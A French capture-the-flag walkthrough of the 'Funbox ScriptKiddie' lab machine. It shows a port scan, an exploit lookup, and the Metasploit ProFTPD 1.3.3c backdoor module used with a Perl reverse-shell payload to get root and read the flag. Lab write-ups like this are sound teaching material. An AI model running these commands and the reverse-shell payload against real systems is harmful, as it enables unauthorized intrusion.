Avant propos
Le déroulé de ce hack a été réalisé sur une machine prévue à cette effet. Il est interdit de mener ce genre d'action sur une machine qui ne vous appartient pas sans l'accord de son ou sa propriétaire.
Ce CTF a été réalisé avec une machine attaquante Kali 2021.2 (lsb_release -r).
Enumération
On récupère l'adresse IP de la machine distante avec Netdiscover sudo netdiscover.
Avant de poursuivre, on exporte cette adresse dans une variable pour être tranquille par la suite export IP=192.168.1.17.
Puis on créé un dossier dédié à ce CTF cd Documents/ctf && mkdir FunboxScriptKiddie && cd FunboxScriptKiddie.
On lance Nmap pour scanner les ports de la machine distante.
$ nmap -sV -sT -p- $IP -oN nmap.txt
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)On a une liste de 8 serveurs :
- 21 un serveur FTP ;
- 22 un serveur SSH ;
- 25 un serveur SMTP ;
- 80 un serveur Apache 2.4.18 ;
- 110 un serveur POP3 ;
- 139 et 445 un serveur Samba ;
- 143 un serveur IMAP.
On check le serveur FTP.
$ ftp $IP
Connected to 192.168.1.17.
220 ProFTPD 1.3.3c Server (ProFTPD Default Installation) [192.168.1.17]
Name (192.168.1.17:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
530 Login incorrect.
Login failed.
ftp> exit
221 Goodbye.Sans grand succès, par contre lorsque l'on regarde sur searchsploit pour ProFTPD 1.3.3c, on a un résultat exploitable avec Metasploit.
ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution | linux/remote/15662.txt
ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit) | linux/remote/16921.rbPénétration
On lance donc ce dernier via la commande msfconsole.
$ msfconsole
msf6 > search ProFTPd-1.3.3c
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c Backdoor Command ExecutionOn retrouve bien l'exploit que l'on veut utiliser.
msf6 > use 0Avant de poursuivre, on regarde les options disponibles.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)On commence par renseigner l'IP de la machine distante dans la variable "RHOST".
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 192.168.1.17
RHOST => 192.168.1.17Puis on consulte la liste des payloads disponibles.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
6 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
7 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)On choisit le reverse en PERL dans la variable "payload".
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload 5
payload => cmd/unix/reverse_perlEt on n'oublie pas de renseigner l'IP la machine locale dans la variable "LHOST".
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.1.33
LHOST => 192.168.1.33Nos 3 valeurs renseignées, on peut exécuter l'exploit.
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.1.33:4444
[*] 192.168.1.17:21 - Sending Backdoor Command
[*] Command shell session 1 opened (192.168.1.33:4444 -> 192.168.1.17:44782) at 2021-08-15 10:58:28 +0200L'exploit fonctionne car on est connecté sur le serveur FTP.
$ id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)On est directement utilisateur root. On lance un shell pour mieux naviguer sur la machine distante.
$ shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bashOn trouve l'unique flag dans le répertoire de l'utilisateur root.
$ cat /root/root.txt
Please, tweet this to: @0815R2d2
Thank you...